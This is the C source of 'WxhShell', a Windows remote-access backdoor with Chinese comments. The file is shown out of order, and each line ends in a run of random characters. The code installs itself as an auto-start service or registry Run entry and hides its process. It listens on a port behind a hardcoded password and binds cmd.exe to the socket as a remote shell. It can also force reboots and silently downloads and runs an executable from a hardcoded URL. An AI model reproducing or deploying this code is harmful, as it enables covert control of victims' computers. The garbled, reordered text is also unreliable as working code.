    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); k&3'[&$I*,  
    if(Boot(SHUTDOWN)) 0& ?/TSC  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); l}mzCIw%  
    else { D(Yq<%Q  
    closesocket(wsh); t 5  
    ExitThread(0); =]F15:%Z q  
    } .p(~/MnO  
    break; O$ ;:5zT  
    } 6IC/~Woghx  
  // 获取shell !_=3Dz  
  case 's': { P6o-H$ a+  
    CmdShell(wsh); R(F+Xg je  
    closesocket(wsh); zmh3 Qa(  
    ExitThread(0); r2 o-/$  
    break; s1NRUV2E  
  } $NhKqA`0  
  // 退出 Kly`V]XE  
  case 'x': { m8njP-CZ  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); \!,@pe_  
    CloseIt(wsh); p;m2RHYF  
    break; B0}f,J\  
    } #35@YMF  
  // 离开 N HL{.8L{  
  case 'q': { VwV`tKit  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); GwaU7[6  
    closesocket(wsh); h_:|H8t;w  
    WSACleanup(); {^VvL'n  
    exit(1); TGe{NUO  
    break; G(XI TL u*  
        } pu +"bq  
  } s`:-6{E  
  } RZeU{u<O  
 uM9[  
  // 提示信息 T7{Z0-  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); *n=NBkq%/!  
} j7)Xm,wI8  
  } n(#159pZ  
G.} 3hd0  
  return; n)7olP0p  
} 3./4] _p  
d M&BnI  
// shell模块句柄 {IW pI *  
int CmdShell(SOCKET sock) \e/'d~F  
{ >}*i Qq  
STARTUPINFO si; &1DU]|RoT&  
ZeroMemory(&si,sizeof(si)); FN&.PdRT  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; TB gD"i-  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ^< ,Np+  
PROCESS_INFORMATION ProcessInfo; $#dPM*E  
char cmdline[]="cmd"; +FWkhmTv  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); r2T-=XWB  
  return 0; mk;l;!*T8  
} Mlp[xk|  
XQu~/{A=  
// 自身启动模式 mACj>0Z'  
int StartFromService(void) 9'I I!  
{ J>P{8Aw  
typedef struct E lt=/,v`!  
{ @' DfNka  
  DWORD ExitStatus; &P%3'c}G  
  DWORD PebBaseAddress; 1FS Jqad  
  DWORD AffinityMask; 6=kA  
  DWORD BasePriority; 8VJUaL@  
  ULONG UniqueProcessId; vMXS%Q  
  ULONG InheritedFromUniqueProcessId; A-O@e e  
}   PROCESS_BASIC_INFORMATION; *f:^6h  
M$z.S0"  
PROCNTQSIP NtQueryInformationProcess; _yyQ^M/  
Vt:]D?\3  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; hbhh m  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; |~bl%g8xP  
8 kw`=wSH>  
  HANDLE             hProcess; rS>JzbWa  
  PROCESS_BASIC_INFORMATION pbi; ?k~(E`ZE3  
y88FT#hR|5  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); cs7T AX  
  if(NULL == hInst ) return 0; {T Z7>k  
BhkJ >4#  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); TdI5{?sW  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); sn&y;Vc[$  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); u=feR0|8  
<k'=_mC_  
  if (!NtQueryInformationProcess) return 0; ow*) 1eo  
eOjoxnD-$  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 7_taqcj  
  if(!hProcess) return 0; U(DK~#}  
5Ya TE<G  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; o&1ewE(O]  
s)#FqB8  
  CloseHandle(hProcess); *D1 ^Se  
]'=]=o~4  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); S1&mY'c  
if(hProcess==NULL) return 0; ozF>2`K }  
bR6.Xdt.n  
HMODULE hMod; Ln0rm9FV-  
char procName[255]; Rz1&(_Ps  
unsigned long cbNeeded; f n )m$\2  
~U#afGH$  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); XP<wHh  
y^tuybpZY<  
  CloseHandle(hProcess); O^48c$Apv  
q?g4**C  
if(strstr(procName,"services")) return 1; // 以服务启动 D ::),,  
L6Ykv/V  
  return 0; // 注册表启动 \];0S4SBy  
} $Zp\^cIE+  
Lt0JUUa0  
// 主模块 R)d1]k8  
int StartWxhshell(LPSTR lpCmdLine) m!5P5U x  
{ YU.aZdA&V3  
  SOCKET wsl; ciVN-;vi  
BOOL val=TRUE; .5'M^  
  int port=0; MW8GM}Ho[  
  struct sockaddr_in door; #z_lBg. K  
JsI` #  
  if(wscfg.ws_autoins) Install(); Ql^I$5&  
|uI d:^ {  
port=atoi(lpCmdLine); fqA\Rp6Z  
Ecp]fUQK  
if(port<=0) port=wscfg.ws_port; ]3]I`e{  
%!I7tR#;  
  WSADATA data; .dX ^3  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; hu0z):>y  
os0fwv  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   reJw&t}Q  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Aon 3G  
  door.sin_family = AF_INET; Jt5\  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); fTd=}zY  
  door.sin_port = htons(port); 6U5L>sQ  
VA + ?xk  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { N,fEta6  
closesocket(wsl); &SuWmtq  
return 1; 9`  
} 5e=9~].7  
a)w *  
  if(listen(wsl,2) == INVALID_SOCKET) { OP0KK^#  
closesocket(wsl); zLEl/yPE  
return 1; tb36c<U-  
} `L# pN5  
  Wxhshell(wsl); 0Cd )w4C  
  WSACleanup(); =y+gS%o$  
7u7`z%  
return 0; 1;8=,&  
$Y'}wB{pc  
} [Z~h!}  
K|[p4*6  
// 以NT服务方式启动 mQ(6ahD U  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv )  *-Y`7=^$  
{ 5B6twn~[  
DWORD   status = 0; 4z6i{n-k  
  DWORD   specificError = 0xfffffff; ; '6`hZ  
2kukQj (n  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ZAATV+Z  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ].ZfTrM]  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; =Q+i(UGHi  
  serviceStatus.dwWin32ExitCode     = 0; mQL8ec_c  
  serviceStatus.dwServiceSpecificExitCode = 0; U'4j+vUc  
  serviceStatus.dwCheckPoint       = 0; Y=G9|7*lO  
  serviceStatus.dwWaitHint       = 0; ki|KtKAu_9  
287g 5  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); f6/<lSoW  
  if (hServiceStatusHandle==0) return; yV"k:_O{  
J!{"^^*  
status = GetLastError(); HpLCOY1-  
  if (status!=NO_ERROR) ws/e~ T<c  
{ h D5NX  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 3{:AG,G  
    serviceStatus.dwCheckPoint       = 0; dw*PjIB9x  
    serviceStatus.dwWaitHint       = 0; c/Dk*.xy<  
    serviceStatus.dwWin32ExitCode     = status; ) wZ;}O  
    serviceStatus.dwServiceSpecificExitCode = specificError; ;- 0 d2Z  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); @n|Mr/PAj  
    return; UY5wef2sF  
  } wak:"B[  
WHF[l1  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; c/6  
  serviceStatus.dwCheckPoint       = 0; <6.aSOS  
  serviceStatus.dwWaitHint       = 0; 6 4,('+  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); N4HIQ\p  
} C(%b!Q,2  
60\`TsFobT  
// 处理NT服务事件,比如:启动、停止 :  I q  
VOID WINAPI NTServiceHandler(DWORD fdwControl) !eu\ShI  
{ Sj'Iz #  
switch(fdwControl)  Y+d+  
{ 9}|x N8  
case SERVICE_CONTROL_STOP: wo+ b":  
  serviceStatus.dwWin32ExitCode = 0; 0 :iR=S  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; \:BixBU7  
  serviceStatus.dwCheckPoint   = 0; H:#sf][&,L  
  serviceStatus.dwWaitHint     = 0; h}y]Pt?  
  { sRI0;  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); >d3`\(v-  
  } g:fkM{"{  
  return; b!<\#[ A4  
case SERVICE_CONTROL_PAUSE: BROn2aSx%  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Y'^+ KU  
  break; OWys`2W  
case SERVICE_CONTROL_CONTINUE: gy`WBg(7x  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; )61X,z  
  break; e?7Oom  
case SERVICE_CONTROL_INTERROGATE: it$w.v+W7V  
  break; H?_wsh4J  
}; [gDl<6a#4  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); qKD Nw8>  
} 9vckQCLM  
P,rD{ 0~  
// 标准应用程序主函数 n_{az{~  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) +QEP:#qZw  
{ sOO_J!bblP  
ny"z<N&}/  
// 获取操作系统版本 x#XxD<y  
OsIsNt=GetOsVer(); &Nw[J5-"k  
GetModuleFileName(NULL,ExeFile,MAX_PATH);  r4M;]  
c2u*<x  
  // 从命令行安装 9S|a!9J  
  if(strpbrk(lpCmdLine,"iI")) Install(); W1&"dT@  
T0{X,  
  // 下载执行文件 [pC2#_}  
if(wscfg.ws_downexe) { aL&nD1f=!-  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) a%2K,.J  
  WinExec(wscfg.ws_filenam,SW_HIDE); FeNNzV=  
} (<}BlL   
8+ ]'2{  
if(!OsIsNt) { ?vfZ>7Q  
// 如果时win9x,隐藏进程并且设置为注册表启动 _3IRj=Cs  
HideProc(); eQwvp`@"  
StartWxhshell(lpCmdLine); @*roW{?!  
} 4t-l@zFWb  
else hEFOT]P4  
  if(StartFromService()) @*E=O|  
  // 以服务方式启动 ME66BWg{  
  StartServiceCtrlDispatcher(DispatchTable); of {K{(M7@  
else \ B'AXv 6  
  // 普通方式启动 <Uc  
  StartWxhshell(lpCmdLine); /Pxny3  
yJ="dEn>i"  
return 0; z8XWp[K  
} m@UrFPZ  
"}Ikx tee  
Q/q>mN"#1  
6Jq3l_  
=========================================== hV+=hX<h  
!L@<?0x LW  
Omi/sKFMi  
X:lStO#5  
fv@<  
~9"c64 q  
" e,r7UtjoxR  
%WC ^aKfY  
#include <stdio.h> ~ToU._  
#include <string.h>  <k0/O  
#include <windows.h> |?]doBm|  
#include <winsock2.h> 1=,y +Xpw  
#include <winsvc.h>  fZ&' _  
#include <urlmon.h> $ai;8)C6  
Pf/8tXs}  
#pragma comment (lib, "Ws2_32.lib") a6Joa&`dv  
#pragma comment (lib, "urlmon.lib") <s7cCpUFP  
IA{W-RRb  
#define MAX_USER   100 // 最大客户端连接数 |fIyq}{7  
#define BUF_SOCK   200 // sock buffer m@u% 3*:  
#define KEY_BUFF   255 // 输入 buffer tj*/%G{Y  
G')zDx  
#define REBOOT     0   // 重启 jE wt1S V  
#define SHUTDOWN   1   // 关机 :5.F  
!A1~{G2VL_  
#define DEF_PORT   5000 // 监听端口 $PI9vyS  
Zxhbnl6  
#define REG_LEN     16   // 注册表键长度 Nd+1r|e'  
#define SVC_LEN     80   // NT服务名长度 u>G9r#~`k  
!nvg:$.&  
// 从dll定义API 3kk^hvB+f  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Ibu9A wPm  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); "DA%vdu  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); kY!zBk  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); cs ?WE9N  
U4^c{KWS  
// wxhshell配置信息 IM7<z,*oF  
struct WSCFG { zA8@'`Id  
  int ws_port;         // 监听端口 c{_JPy  
  char ws_passstr[REG_LEN]; // 口令 (ie%zrhS  
  int ws_autoins;       // 安装标记, 1=yes 0=no =*jFaj  
  char ws_regname[REG_LEN]; // 注册表键名 ^=n7E  
  char ws_svcname[REG_LEN]; // 服务名 J{-`&I'b  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Eu:/U*j  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ZJQFn  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 gwQMy$  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Kx&" 9g$  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" JO0o@M5H  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 kY'Wf`y(  
e\ cyiW0  
}; FZ ?eX`,  
Zfcf?&><  
// default Wxhshell configuration Z#-N$%^F  
struct WSCFG wscfg={DEF_PORT, [M,4qe8,}  
    "xuhuanlingzhe", P1T {5u!T  
    1, bTmhz  
    "Wxhshell", ThgJ '  
    "Wxhshell",  <{Y3}Q  
            "WxhShell Service", DE?k|Get2  
    "Wrsky Windows CmdShell Service", mV`R'*1UC  
    "Please Input Your Password: ", uJ -$i  
  1, oJr+RO  
  "http://www.wrsky.com/wxhshell.exe", *c[w9(fU  
  "Wxhshell.exe" 4n6AK`E  
    }; h7q{i|5  
5l1R")0`t_  
// 消息定义模块 K+!e1 '  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; `1(ED= |  
char *msg_ws_prompt="\n\r? for help\n\r#>"; <I34@;R c  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; t-KicLr  
char *msg_ws_ext="\n\rExit."; QrK%DN  
char *msg_ws_end="\n\rQuit."; CU\gx*=E  
char *msg_ws_boot="\n\rReboot..."; q%])dZ!lE  
char *msg_ws_poff="\n\rShutdown..."; zHZfp_I  
char *msg_ws_down="\n\rSave to "; f0sLe 3  
ZH;4e<gg  
char *msg_ws_err="\n\rErr!"; u1M8nb  
char *msg_ws_ok="\n\rOK!"; (~N?kh:  
#J&3Zds  
char ExeFile[MAX_PATH]; h>D;QY  
int nUser = 0; E-.X%xfO  
HANDLE handles[MAX_USER]; 1bQO:n):~  
int OsIsNt; /Tm+&Jd  
AF"7 _  
SERVICE_STATUS       serviceStatus; }i"[5:  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; k-=lt \?  
xH:L6K/c  
// 函数声明 ]VKQm(,0  
int Install(void); Gm:s;w-;v  
int Uninstall(void); GWuKDq  
int DownloadFile(char *sURL, SOCKET wsh); nL=+`aq_  
int Boot(int flag);  d=^QK{8  
void HideProc(void); _|I8+(~)  
int GetOsVer(void); .cJoNl'q  
int Wxhshell(SOCKET wsl); %_5#2a  
void TalkWithClient(void *cs); ;hDk gp  
int CmdShell(SOCKET sock); uPl}NEwU|  
int StartFromService(void); GxD`M2  
int StartWxhshell(LPSTR lpCmdLine); [%bGs1U  
e`g+Jf`AT  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); u:|^L]{  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); $+GDPYm'  
jdJTOT  
// 数据结构和表定义 P'tXG  
SERVICE_TABLE_ENTRY DispatchTable[] = UU>+b:  
{ G8+&fn6  
{wscfg.ws_svcname, NTServiceMain}, Z[*unIk  
{NULL, NULL} 63l& ihj  
}; a`xAk ^w+  
|D-[M_T5  
// 自我安装 )TiM>{  
int Install(void) ;]grbqXVE  
{ Pp!4Ak4TT9  
  char svExeFile[MAX_PATH]; N gF7$@S  
  HKEY key; 2)\->$Q(H  
  strcpy(svExeFile,ExeFile); #&kj>   
7d%x7!E   
// 如果是win9x系统,修改注册表设为自启动 Skci;4T(  
if(!OsIsNt) { 1Mp-)-e  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Sk+XBX(}  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 1-E6ACq  
  RegCloseKey(key); Hh;lT  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { q]OIP"yv  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); O>pX(DS L  
  RegCloseKey(key); RKzty=j4  
  return 0; HJ]v-  
    } rwXpB<@l@  
  } #T8o+tv  
} kll!tT-N-  
else { o+{,>t  
Jfr'OD2$ %  
// 如果是NT以上系统,安装为系统服务 nu+K N,3R"  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); VB*c1i  
if (schSCManager!=0) %pq.fZ I   
{ VnW6$W?g  
  SC_HANDLE schService = CreateService hQx*#:ns  
  ( ~xxq.rL"  
  schSCManager, %" bI2  
  wscfg.ws_svcname, \u`P(fI!K%  
  wscfg.ws_svcdisp, z[J=WI  
  SERVICE_ALL_ACCESS,  CA igV$  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , G@ ot^n3  
  SERVICE_AUTO_START, .q MxShUU  
  SERVICE_ERROR_NORMAL, ,V 52Fj  
  svExeFile, u|}\Af  
  NULL, udUc&pX  
  NULL, 5r 4~vK  
  NULL, ZPw4S2yw3.  
  NULL, TM6wjHFm  
  NULL Wo&22,EB  
  ); uxL+oP0  
  if (schService!=0) agwbjkU/  
  { fpQFNV  
  CloseServiceHandle(schService); W[J2>`k9  
  CloseServiceHandle(schSCManager); yT OZa-  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); bgE]Wk0  
  strcat(svExeFile,wscfg.ws_svcname); >mA]2gV<a  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { #\X)|p2  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); -S]ercar  
  RegCloseKey(key); bTeuOpp  
  return 0; KB~[nZs7  
    } `m(ZX\W]  
  } h *;c"/7  
  CloseServiceHandle(schSCManager); [7.Num_L  
} e}2?)B`[  
} Jk}3c>^D  
^NU_Tp:2^  
return 1; :K~@JlJd  
} 1d49&-N  
zZ-/S~l  
// 自我卸载 pSQ2wjps  
int Uninstall(void) ,Zie2I?q  
{ W!ug^2"  
  HKEY key; hO> q|+mC  
).,twf58  
if(!OsIsNt) { 'uz o[>p  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 5D/Td#T04  
  RegDeleteValue(key,wscfg.ws_regname); 8?L-3/  
  RegCloseKey(key); 1H">Rb30@  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { u=@zYA(  
  RegDeleteValue(key,wscfg.ws_regname); #QlxEs#%  
  RegCloseKey(key); a m5;B`}q  
  return 0; i88 5T '  
  } M1P;x._n  
} \l0!si  
} c9H6\&  
else { (Q `Ps /  
9BOn8p;yz  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); gmTBp}3  
if (schSCManager!=0) \s8h.xjU  
{ ,%/F,O+#  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); hUi5~;Q5Fi  
  if (schService!=0) hb1h .F  
  { 8$JJI( {bH  
  if(DeleteService(schService)!=0) { Z{ YuX  
  CloseServiceHandle(schService); ?zsRs?rc0  
  CloseServiceHandle(schSCManager); \A!I ln  
  return 0; :O,,fJ<x.O  
  } S~z$ =IiB  
  CloseServiceHandle(schService); `mZ1!I-T  
  } U\{I09@E 0  
  CloseServiceHandle(schSCManager); v8uUv%Hkd  
} ]*$o qn=m  
} 4u2_xbT  
CucW84H`J  
return 1; (Ww SisC~  
} DKlHXEt>  
f e6Op  
// 从指定url下载文件 d`?EEO  
int DownloadFile(char *sURL, SOCKET wsh) H- WNu+  
{ dj,lbUL  
  HRESULT hr; 7|J&fc5BP  
char seps[]= "/"; _{B2z[G}  
char *token; NXOvC!<  
char *file; ~Wm'~y>  
char myURL[MAX_PATH]; z&qOu8Jh  
char myFILE[MAX_PATH]; /3"S_KE1@+  
M-!#-l  
strcpy(myURL,sURL); "1P2`Ep;  
  token=strtok(myURL,seps); (d <pxx  
  while(token!=NULL) ZkMHy1  
  { phwq#AxQ   
    file=token; !P6y_Frpe  
  token=strtok(NULL,seps); Gv(n2r  
  } (ke<^sv7!  
p7*7V.>X  
GetCurrentDirectory(MAX_PATH,myFILE); Y(R],9h8  
strcat(myFILE, "\\"); 127@ TN"  
strcat(myFILE, file); wp/x|AV  
  send(wsh,myFILE,strlen(myFILE),0); 2[Qzx%Vp  
send(wsh,"...",3,0); [9p@uRE  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); r^\Wo7q  
  if(hr==S_OK) D>wo>,G  
return 0; f K4M:_u  
else URTJA<r8D  
return 1; 6z67%U*8r  
{\= NZ\  
} 0ENqK2  
#|e5i9l*B  
// 系统电源模块 A<g5:\3  
int Boot(int flag) NQvT4.*  
{ stCFLYox  
  HANDLE hToken; Nk>6:Ho{G  
  TOKEN_PRIVILEGES tkp; w?c~be$  
Fg^zz*e  
  if(OsIsNt) { L\kT9wWK|  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); D-5~CK4`  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); v\COl*  
    tkp.PrivilegeCount = 1; (pQ$<c  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; iw EHEi%  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 7o M]qLF  
if(flag==REBOOT) { .rbKvd?-}  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 7)3cq}]O  
  return 0; Rv+p4RgA  
} %PU {h  
else { KTu&R6|  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) c\eT`.ENk  
  return 0; DWJkN4}o  
} %O&C\{J  
  } >za=v  
  else { 04<T2)QgK  
if(flag==REBOOT) { ol8uV{:"  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) }\\6"90g*  
  return 0; ]z/  
}  SjO Iln  
else { O0<GFL$)&  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) q\5C-f  
  return 0; gbRdng7(}  
} lf9_!`DGV  
} j k}m  
3#T_(  
return 1; ,o j\=2  
} @AdJu-u  
C(*)7| m  
// win9x进程隐藏模块 x5Ee'G(  
void HideProc(void) #[#dc]D  
{ eL!G, W  
Q,`Y  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Iq[,)$  
  if ( hKernel != NULL ) $yb8..+  
  { Rx=pk  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); B1Iq:5nmoS  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); xX.Ox  
    FreeLibrary(hKernel); v)2@;Q  
  } [0e]zyB+  
;nJCd1H  
return; I1H:h  
} tgYIM`f  
%tzz3Y  
// 获取操作系统版本 ?Xo9,4V1  
int GetOsVer(void) KXFa<^\o  
{ }J$PO*Q@'  
  OSVERSIONINFO winfo;  OkO"t  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); wEMUr0Hq  
  GetVersionEx(&winfo); {w^flizY  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) qwaw\vOA  
  return 1; L4;n$=e  
  else VuZmX1x)N  
  return 0; o#wF/ I  
} I/)dXk~  
CsR~qQ 5  
// 客户端句柄模块 ^J~}KOH  
int Wxhshell(SOCKET wsl) 9AL\6 @<a*  
{ Z9aDE@A  
  SOCKET wsh; %9NGVC  
  struct sockaddr_in client; nhCB ])u8l  
  DWORD myID; M3F8@|2  
c/2OR#$t  
  while(nUser<MAX_USER) ak;Z;  
{ bt&vik _  
  int nSize=sizeof(client); ); |~4#  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); s/To|9D  
  if(wsh==INVALID_SOCKET) return 1; {fN_itn  
U0N[~yW(t1  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); d=4MqX r  
if(handles[nUser]==0) cW GU?cv}  
  closesocket(wsh); _Wb-&6{  
else P7y[9|^  
  nUser++; !s)$_tG  
  } Yu1xJgl  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); nf G:4k,  
;Ok11wOw  
  return 0; UU ,)z  
} "+ Qh,fTt  
=0]Mc$Ih  
// 关闭 socket bL[PNUG  
void CloseIt(SOCKET wsh) g*tLqV  
{ !eTS PM  
closesocket(wsh); #U_u~7?H$  
nUser--; XWUT b\@  
ExitThread(0); 7kwG_0QO  
} p4AXQuOP  
/1>  
// 客户端请求句柄 :<v$vER,&  
void TalkWithClient(void *cs) 6aK--k  
{ JX/d;N7a  
!S-hv1bE  
  SOCKET wsh=(SOCKET)cs; &+^ # `nq  
  char pwd[SVC_LEN]; f:Ja  
  char cmd[KEY_BUFF]; /g9{zR [  
char chr[1]; ]`kvq0Gyb  
int i,j; 0l6djN  
w:LCm `d  
  while (nUser < MAX_USER) { (hV"z;rI  
2Ee1mbZVw8  
if(wscfg.ws_passstr) { H'`(|$:|  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 9]w0zUOL6  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ]VH@\ f  
  //ZeroMemory(pwd,KEY_BUFF); X]*/]Xx  
      i=0; @iceMD.  
  while(i<SVC_LEN) { d&u/7rm  
3,5wWT] )  
  // 设置超时 \xZBu"  
  fd_set FdRead; wE \c?*k  
  struct timeval TimeOut; q{ 1U  
  FD_ZERO(&FdRead); kC5,yj  
  FD_SET(wsh,&FdRead); |K-lg rA  
  TimeOut.tv_sec=8; Rqz()M  
  TimeOut.tv_usec=0; .Topg.7W  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); bx^EaXj(r  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); kZ}u  
@]tGfr;le&  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); uPXqTkod  
  pwd=chr[0]; 7qz-RF#s8  
  if(chr[0]==0xd || chr[0]==0xa) { Kx+Bc&X  
  pwd=0; K@~#Gdnl  
  break; G0> Wk#or  
  } =*}Mymhk(  
  i++; !q\w"p0X  
    } o#) !b:/  
<xjv7`G7  
  // 如果是非法用户,关闭 socket B[B<U~I}  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); cgeS)C7  
} f{c[_OR  
:+Ax3  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); I=y j  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); &:#8ol(n5b  
}n%R l\p  
while(1) { C'2 =0oou  
WbWW=(N'd  
  ZeroMemory(cmd,KEY_BUFF); KBq aI((  
dKQV4dc>  
      // 自动支持客户端 telnet标准   u=}bq{  
  j=0; I*S`I|{J  
  while(j<KEY_BUFF) { s [F' h-y  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); x <\D@X^  
  cmd[j]=chr[0]; *F*jA$aY  
  if(chr[0]==0xa || chr[0]==0xd) { ('6g)@=\U  
  cmd[j]=0; z12But\<  
  break; wy- C~b'Qd  
  } >[fVl 8G_0  
  j++; 'b?.\Bm;  
    } Cm;qDvj+u  
,Zf!KQw  
  // 下载文件 !GGGh0Bj  
  if(strstr(cmd,"http://")) { <uKm%~xi<  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 71"JL",  
  if(DownloadFile(cmd,wsh)) 53t- 'K0l  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); [&qbc#L  
  else `$sY^EX  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %^5@z1d,  
  } -yAnn  
  else { ^'[@M'`~L  
4iv]N 4  
    switch(cmd[0]) { #jLaIXms  
  i ,IM?+4  
  // 帮助 C. Ja;RFq  
